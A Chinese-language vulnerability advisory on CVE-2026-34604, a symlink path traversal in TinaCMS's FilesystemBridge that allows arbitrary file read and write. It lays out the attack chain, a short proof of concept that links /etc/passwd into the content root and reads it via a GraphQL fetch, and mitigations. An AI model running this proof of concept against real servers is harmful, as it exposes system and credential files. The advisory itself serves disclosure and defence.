IPBUF安全漏洞报告
English
CVE-2026-34604 CVSS 7.1 高危

CVE-2026-34604 TinaCMS 路径遍历漏洞(符号链接绕过)

披露日期: 2026-04-01

漏洞信息

漏洞编号
CVE-2026-34604
漏洞类型
路径遍历
CVSS评分
7.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
TinaCMS

相关标签

路径遍历符号链接TinaCMS任意文件读取任意文件写入CVE-2026-34604

漏洞概述

TinaCMS 在 2.2.2 版本之前存在路径遍历漏洞。其 FilesystemBridge 组件仅使用字符串检查来限制路径,未能解析符号链接。攻击者可利用根目录下的符号链接越权访问、修改或删除系统任意文件。

技术细节

该漏洞源于 TinaCMS 的 @tinacms/graphql 包中 FilesystemBridge 类的安全缺陷。在进行文件操作前,系统仅检查请求路径的字符串前缀是否位于允许的根目录内,而未调用底层系统 API 解析路径中的符号链接或连接点。攻击者若能在允许的内容根目录下创建或控制一个指向外部敏感文件(如 /etc/passwd)的符号链接,当调用 get()、put()、delete() 等方法访问该链接时,字符串校验会通过,但实际文件操作将跟随链接指向根目录之外的文件,导致任意文件读取或写入。

攻击链分析

STEP 1
步骤1:权限获取
攻击者获得在 TinaCMS 允许的内容根目录下创建文件或符号链接的低权限访问能力。
STEP 2
步骤2:创建符号链接
攻击者在内容目录中创建一个符号链接,该链接指向服务器文件系统上受保护或外部的任意路径(如 /etc/passwd)。
STEP 3
步骤3:发起请求
攻击者通过 API 调用 FilesystemBridge 的 get()、put() 等方法,传入包含符号链接的路径。
STEP 4
步骤4:绕过检查
系统执行字符串检查,确认路径以允许的根目录开头,校验通过。
STEP 5
步骤5:漏洞利用
系统实际执行文件 I/O 操作,操作系统解析符号链接,导致对根目录外部目标文件的读取、修改或删除。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC Concept for CVE-2026-34604 // Scenario: Attacker creates a symlink inside the allowed content root // 1. Create a malicious symlink inside the repo (e.g., via git or upload) // Command: ln -s /etc/passwd content/posts/exploit.md // 2. Request the file via the vulnerable GraphQL API // The path 'content/posts/exploit.md' is valid in string check, // but resolves to '/etc/passwd' on the filesystem. fetch('/api/graphql', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ query: ` query { get(relativePath: "posts/exploit.md") { id system } } ` }) }).then(res => res.json()).then(console.log);

影响范围

TinaCMS < 2.2.2

防御指南

临时缓解措施
如果无法立即升级,建议扫描内容根目录树,识别所有符号链接并验证其目标是否安全。此外,可以通过配置 Web 服务器或操作系统权限,严格限制应用程序进程对非必要目录的访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表